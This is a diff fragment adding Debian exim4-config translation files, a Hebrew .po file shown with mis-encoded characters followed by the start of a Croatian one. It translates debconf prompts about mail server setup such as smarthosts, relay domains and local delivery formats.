דו×ר" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "בחר ×ת סוג ההגדרות של שרת הדו×ר המת××™× ×œ×¦×¨×›×™× ×©×œ×š." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"מערכות ×¢× ×›×ª×•×‘×ª IP ×“×™× ×ž×™×ª, כולל ×›×לה ×¢× ×—×™×‘×•×¨ dialup, צריכות להגדיר להעביר " +"דו×ר ×™×•×¦× ×œ×ž×›×•× ×” ×חרת ×©× ×§×¨×ת 'smarthost' מ×חר ומערכות דו×ר רבות ב××™× ×˜×¨× ×˜ " +"חוסמות קבלת דו×ר ממערכות בעלות כתובת IP ×“×™× ×ž×™×ª לצורך ×”×’× ×” ×ž×¤× ×™ דו×ר זבל." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"מחשב ×¢× ×›×ª×•×‘×ª IP ×“×™× ×ž×™×ª יכול לקבל ×ת הדו×ר של עצמו, ×ו שקבלה מקומית יכולה " +"להיות מבוטלת למעט דו×ר ל-root ול-postmaster." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "×”×× ×תה בטוח ×©×‘×¨×¦×•× ×š להש×יר ×ת מערכת הדו×ר ×œ× ×ž×•×’×“×¨×ª?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"עד שהמערכת שלך תוגדר, ×”×™× ×ª×”×™×” שבורה ×•×œ× × ×™×ª× ×ª לשימוש. × ×™×ª×Ÿ להגדיר ×ת המערכת " +"מ×וחר יותר על ידי הרצת הפקודה 'dpkg-reconfigure exim4-config' כמשתמש root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "×©× ×ž×¢×¨×›×ª הדו×ר:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "ההגדרה 'mail name' ×”×™× ×©× ×”×ž×ª×—× ×©×ž×™×•×—×¡ לכתובות דו×ר ×œ×œ× ×©× ×ž×ª×—×." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"×©× ×–×” ×™×”×™×” בשימוש ×’× ×¢×œ ידי ×ª×•×›× ×•×ª ×חרות. ×”×•× ×¦×¨×™×š להיות ×©× ×”×ž×ª×—× ×”×ž×œ× " +"והיחידי (FQDN) ×©×ž×ž× ×• יר××” שהדו×ר מגיע." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"כך, ×× ×›×ª×•×‘×ª דו×ר על המחשב המקומי ×”×™× foo@example.org, הערך ×”× ×›×•×Ÿ ל×פשרות זו " +"×”×™× ×• example.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "×©× ×–×” ×œ× ×™×•×¤×™×¢ בשורות From: של דו×ר ×™×•×¦× ×× ×ª×פשר כתיבה מחדש." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "×™×¢×“×™× ××—×¨×™× ×©×ž×”× ×“×•×ר מ×ושר:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"×”×›× ×¡ בבקשה רשימה של שמות ×ž×ª×—× ×©×œ×”× ×ž×›×•× ×” ×–×ת תחשוב ×ת עצמה כיעד הסופי, חוץ " +"מ×שר ×”× ×”×ž×—×©×‘ המקומי, (${fqdn}) ו-'localhost'." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"כברירת מחדל כל ×”×ž×ª×—×ž×™× ×™×§×‘×œ×• ×ותו יחס. ×× a.example ו-b.example ×”× ×ž×ª×—×ž×™× " +"מקומיי×, acc@a.example ו-acc@b.example יועברו ל×ותו מקו×. ×× ×ž×ª×—×ž×™× ×©×•× ×™× " +"×¦×¨×™×›×™× ×œ×§×‘×œ יחס ×©×•× ×”, יש צורך לערוך ×ת קבצי ההגדרה מ×וחר יותר." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "שמות ×ž×ª×—× ×©××œ×™×”× ×™×© להעביר דו×ר:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"× × ×œ×”×›× ×™×¡ רשימה מופרדת על ידי × ×§×•×“×”-פסיק של שמות ×ž×ª×—× ×©×”×ž×¢×¨×›×ª תעביר ×‘×©×‘×™×œ× " +"דו×ר, למשל כשרת גיבוי ×œ×ž×ª×—× ×ו שרת ×‘×™× ×™×™×. המערכת תקבל דו×ר לשמות ×ž×ª×—× ×לו " +"מכל ×ž×§×•× ×•×ª×¢×‘×™×¨ ××•×ª× ×œ×¤×™ ×”×—×•×§×™× ×”×ž×§×•×ž×™×™× ×‘×ž×¢×¨×›×ª." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "×œ× ×œ×”×’×“×™×¨ שמות ×ž×ª×—× ×ž×§×•×ž×™×™× ×›×ן. ציון כללי (wildcard) × ×™×ª×Ÿ לשימוש." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "×ž×›×•× ×•×ª להעביר ××œ×™×”× ×“×•×ר:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"× × ×œ×”×›× ×™×¡ רשימה מופרדת × ×§×•×“×”-פסיק של תחומי כתובות IP ×œ×”× ×”×ž×¢×¨×›×ª תעביר דו×ר " +"×œ×œ× ×”×’×‘×œ×•×ª, ובכך תתפקד ×›-smarthost." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"רצוי להשתמש ×‘×¡×˜× ×“×¨×˜ של כתובת/×ורך (לדוגמה: 194.222.242.0/24 ×ו " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "×× ×ž×¢×¨×›×ª זו ×œ× ×מורה לשמש ×›-smarthost למחשב ×חר, הש×ר שדה ×–×” ריק." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "×©× ×ž×ª×—× × ×¨××” עבור ×ž×©×ª×ž×©×™× ×ž×§×•×ž×™×™×:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"×”×פשרות להסתיר ×ת ×©× ×”×“×•×ר המקומי בדו×ר ×™×•×¦× ×”×™× ×” מופעלת. עקב כך יש צורך " +"לציין ×ת ×©× ×”×ž×ª×—× ×©×ž×¢×¨×›×ª זו תשתמש לחלק ×”×ž×ª×—× ×©×œ כתובות ×”×ž×©×ª×ž×©×™× ×”×ž×§×•×ž×™×™×." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "כתובת IP ×ו ×©× ×ž×—×©×‘ דרכו ×ž×¢×‘×™×¨×™× ×“×•×ר ×™×•×¦× (smarthost):" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"× ×” ×œ×”×›× ×™×¡ ×ת כתובת ×”-IP ×ו ×ת ×©× ×”×ž×—×©×‘ של שרת הדו×ר שמערכת זו תעביר ×ליו " +"דו×ר ×›-smarthost. ×× ×©×¨×ª הדו×ר ×”×–×” מקבל ×ת הדו×ר שלך בפורט ×חר מ-TCP/25, " +"הוסף ×©× ×™ ×¡×™×ž× ×™ × ×§×•×“×ª×™×™× ×•×ת מספר הפורט (למשל smarthost.example::587 ×ו " +"192.168.254.254::2525). × ×§×•×“×ª×™×™× ×‘×›×ª×•×‘×•×ª IPv6 צריכות להיות מוכפלות." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"×× ×”-smarthost דורש ×ימות, ×× × ×¤× ×” לקובץ README הייעודי לדבי×ן ×©× ×ž×¦× ×‘-/usr/" +"share/doc/exim4-base להערות ×יך להגדיר ×ימות ל-SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "מקבל דו×ר של root ו-postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"דו×ר ל-'postmaster', 'root' ×•×—×©×‘×•× ×•×ª מערכת ××—×¨×™× ×¦×¨×™×›×™× ×œ×”×™×•×ª ×ž×•×¤× ×™× ×œ×—×©×‘×•×Ÿ " +"המשתמש של מפעיל המערכת." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "×× ×¢×¨×š ×–×” מוש×ר ריק, דו×ר ×–×” יישמר ב-/var/mail/mail, מה ש××™× ×• מומלץ." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"×©×™× ×œ×‘ שהדו×ר של postmaster צריך ×œ×”×§×¨× ×¢×œ המערכת ×ליה ×”×•× × ×•×¢×“ ×•×œ× ×œ×”×™×•×ª " +"מועבר הל××” ×œ×ž×§×•× ×חר. כך שלפחות למשתמש ×חד ×תה צריך ×œ× ×œ×”×¢×‘×™×¨ למחשב ×חר. " +"השתמש בקידומת 'root-' כדי להבטיח העברה מקומית." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "שמות משתמש ×ž×¨×•×‘×™× ×¦×¨×™×›×™× ×œ×”×™×•×ª ×ž×•×¤×¨×“×™× ×¢×œ ידי רווחי×." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "כתובת IP לה×זין עליהן לחיבורי SMTP × ×›× ×¡×™×:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"× × ×œ×”×›× ×™×¡ רשימה מופרדת × ×§×•×“×”-פסיק של כתובות IP. שרת ×”-SMTP של Exim ×™×זין לכל " +"הכתובות הרשומות ×›×ן." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"הש×רת ערך ×–×” ריק, ×ª×’×¨×•× ×œ-Exim להקשיב ×œ×—×™×‘×•×¨×™× ×¢×œ כל ממשקי הרשת ×”×–×ž×™× ×™×." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"×× ×ž×—×©×‘ ×–×” ×œ× ×ž×§×‘×œ דו×ר ישירות ×ž×ž×—×©×‘×™× ×חרי×, ××œ× ×¨×§ דרך ×©×™×¨×•×ª×™× ×ž×§×•×ž×™×™× " +"כגון fetchmail ×ו ×ª×•×›× ×ª הדו×ר שלך (MUA) שמדברת ×¢× ×”×ž×—×©×‘ המקומי, מומלץ ל×סור " +"×—×™×‘×•×¨×™×™× ×—×™×¦×•× ×™×™× ×œ-Exim ×¢\"×™ הגדרת ×פשרות ×–×ת לערך 127.0.0.1 ובכך הקשבה " +"לממשקי רשת ציבוריי×." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "הש×ר ×ת מספר ש×ילתות ×”-DNS ×‘×ž×™× ×™×ž×•× (חיוג לפי דרישה)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"במצב פעולה × ×•×¨×ž×œ×™, Exim יוצר חיפושי DNS בעליה, ×›×שר מתקבל ×ו × ×©×œ×— דו×ר. כל " +"×–×ת לצרכי תיעוד וכדי לשמור ×ת ×”×¢×¨×›×™× ×”×§×‘×•×¢×™× ×‘×§×‘×¦×™ ההגדרות ×‘×ž×™× ×™×ž×•×." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"×× ×ž×—×©×‘ ×–×” ×”×™× ×• ×œ×œ× ×’×™×©×” קבועה לשרת DNS (למשל ×× ×”×•× ×ž×—×•×‘×¨ בחייגן ×¢× ×—×™×‘×•×¨ " +"לפי דרישה), שימוש בחיוג על פי דרישה ×”×™×” בעל משמעויות ×œ× ×¨×¦×•×™×•×ª. למשל ×›×שר " +"exim ×”×™×” מתחיל ×ו מריץ תור (×’× ×× ×ין הודעות) ×–×” יכול ×œ×’×¨×•× ×œ×‘×™×¦×•×¢ חיוג ×œ× " +"רצוי." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"צריך לבחור ב×פשרות זו ×× ×ž×©×ª×ž×©×™× ×‘×—×™×•×’ על פי דרישה. ×× ×”×ž×¢×¨×›×ª תמיד מחוברת " +"ל××™× ×˜×¨× ×˜ מומלץ ×œ× ×œ×‘×—×•×¨ ב×פשרות זו." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "הגדרות שרת דו×ר" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "לפצל ×ת ההגדרות ×œ×§×‘×¦×™× ×§×˜× ×™×?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"חבילת exim4 של Debian יכול להשתמש בקובץ ×ž×•× ×•×œ×™×ª×™ יחיד (/etc/exim4/exim4.conf." +"template) ×ו בכ-50 ×§×‘×¦×™× ×§×˜× ×™× ×‘×¡×¤×¨×™×” /etc/exim4/conf.d/ כדי ליצור ×ת קובץ " +"ההגדרות הסופי." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"קבצי הגדרות ×œ× ×ž×—×•×œ×§×™× ×ž×ª××™×ž×™× ×™×•×ª×¨ ×œ×©×™× ×•×™×™× ×’×“×•×œ×™× ×•×‘×ופן כללי יותר יציבי×. " +"קבצי הגדרות ×ž×—×•×œ×§×™× ×™×•×ª×¨ × ×•×—×™× ×›×“×™ לעשות ×©×™× ×•×™×™× ×§×˜× ×™× ×בל יותר רגיש ועלול " +"להישבר ×× ×™×©×•× ×” ×œ×œ× ×–×”×™×¨×•×ª מספקת." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"מידע × ×•×¡×£ לגבי קבצי הגדרה ×ž×—×•×œ×§×™× ×ו מ××•×—×“×™× × ×™×ª×Ÿ ×œ×ž×¦×•× ×‘×§×•×‘×¥ ×”-README " +"הייעודי לדבי×ן ×©× ×ž×¦× ×‘-/usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "×”×—×‘× ×©×œ ×©× ×”×“×•×ר המקומי בדו×ר יוצ×?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"הכותרות של דו×ר ×™×•×¦× ×™×›×•×œ×™× ×œ×”×™×›× ×¡ מחדש כדי שיר××” ×©× ×•×¦×¨ במערכת ×חרת. ×× " +"×ופציה זו × ×‘×—×¨×ª יתבצע שיכתוב של ×”×¢×¨×›×™× \"${mailname}\" \"localhost\" and " +"\"${dc_other_hostnames}\" בשדות From, Reply-To, Sender and Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "תיבת דו×ר מסוג mbox ב- /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "תיבת דו×ר מסוג Maildir בספריית הבית" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "שיטת מסירה עבור דו×ר מקומי:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"â€Exim יכול לשמור דו×ר ×©× ×©×ž×¨ מקומית במספר דרכי×. ×”×“×¨×›×™× ×”× ×¤×•×¦×•×ª ביותר ×”×™× ×Ÿ " +"mbox ו-Maildir.†mbox שומר ×ת כל ההודעות בקובץ יחיד בספרייה /var/mail. â€" +"Maildir שומר כל הודעה בקובץ × ×¤×¨×“ ב-~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"×©×™× ×œ×‘ שרוב כלי הדו×ר בדבי×ן ×ž×¦×¤×™× ×©×”×©×ž×™×¨×” המקומית תהיה ל-mbox כברירת מחדל." + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "להעביר דו×ר ×©×œ× × ×ž×¡×¨ מה-spool של exim גרסה 3 לזה של exim4?" + +#, fuzzy +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "×™×©× × ×ž×™×™×œ×™× ×©×œ× × ×ž×¡×¨×• בספריית ×”-spool של exim ×ו exim-tls מגרסה 3 בספריה /" +#~ "var/spool/exim/input." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "בחירה ב×פשרות ×–×ת תעביר ×ת ההודעות ×”×לה לספריית ×”-spool של exim4 (×‘× ×ª×™×‘ /" +#~ "var/spool/exim4/input), ×©× ×”× ×™×˜×•×¤×œ×• על ידי exim4." diff --git a/debian/po/hr.po b/debian/po/hr.po new file mode 100644 index 0000000..5bf43aa --- /dev/null +++ b/debian/po/hr.po @@ -0,0 +1,618 @@ +# +msgid "" +msgstr "" +"Project-Id-Version: Debian installer HR\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2006-10-22 14:35+0200\n" +"Last-Translator: Josip Rodin <joy+ditrans@linux.hr>\n" +"Language-Team: Croatian <lokalizacija@linux.hr>\n" +"Language: hr\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Ukloni neposlane poruke iz 'spool' direktorija?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Postoje poruke e-poÅ¡te u Eximovom 'spool' direktoriju /var/spool/exim4/input " +"koje joÅ¡ nisu isporuÄene. Uklanjanjem Exima će one ostati neisporuÄene dok " +"se Exim ne instalira ponovo." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Ako ne odaberete ovu opciju, 'spool' direktorij će biti oÄuvan, Å¡to će " +"omogućiti porukama koje Äekaju u redu da se isporuÄe kasnije, nakon " +"reinstalacije Exima." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Napravite rekonfiguraciju exim4-config umjesto ovog paketa" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 ima svoje postavke izdvojene u zasebni paket nazvan exim4-config. Za " +"rekonfiguriranje Exima 4 koristite 'dpkg-reconfigure exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "mrežno sjediÅ¡te; poÅ¡ta se Å¡alje i prima izravno rabeći SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "poÅ¡ta se Å¡alje po 'smarthost'-u; prima preko SMTP ili 'fethchmail'-a" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "poÅ¡ta se Å¡alje po 'smarthost'-u; lokalne poÅ¡te nema" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "samo lokalna dostava; nema mrežne" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "zasad ne podeÅ¡avaj" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Opći naÄin podeÅ¡avanja poÅ¡te:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Molim izaberite postavke poslužitelja e-poÅ¡te koje vam najviÅ¡e odgovaraju." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Sustavi s promjenjivom IP adresom, ukljuÄujući sustave koji se na mrežu " +"spajaju povremeno ('dial-up'), bi općenito trebali biti podeÅ¡eni tako da " +"odlaznu poÅ¡tu Å¡alju na isporuku drugom stroju, zvanom \"smarthost\", zato " +"Å¡to mnogi sustavi na Internetu koji e-poÅ¡tu primaju dolazne poruke sa " +"promjenjivih IP adresa blokiraju, to im je mjera protiv spama." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Sustav s promjenjivom IP adresom može primati svoju poÅ¡tu, ili se lokalna " +"isporuka može u potpunosti ugasiti (osim poÅ¡te za root i postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Stvarno ostaviti sustav e-poÅ¡te nepodeÅ¡en?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Dok ga ne podesite, sustav e-poÅ¡te će biti neispravan i beskoristan. " +"Naknadno podeÅ¡avanje možete napraviti ili ruÄno ili tako da pokrenete " +"naredbu 'dpkg-reconfigure exim4-config', prijavljeni kao root korisnik." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Ime sustava e-poÅ¡te:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"Ime sustava e-poÅ¡te je ime raÄunala koje se koristi za \"kvalificiranje\" " +"adresa e-poÅ¡te koje ne sadrže ime domene." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"To će ime koristiti i drugi programi. Ono treba biti jedinstveno, potpuno " +"ime domene (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Naprimjer, ako je e-mail adresa na lokalnom stroju foo@primjer.domene, onda " +"je ispravna vrijednost za ovu opciju primjer.domene." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"To ime se neće pojavljivati u 'From:' polju odlaznih poruka ako omogućite " +"prepisivanje." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Ostala odrediÅ¡ta za koja se poÅ¡ta prihvaća:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr 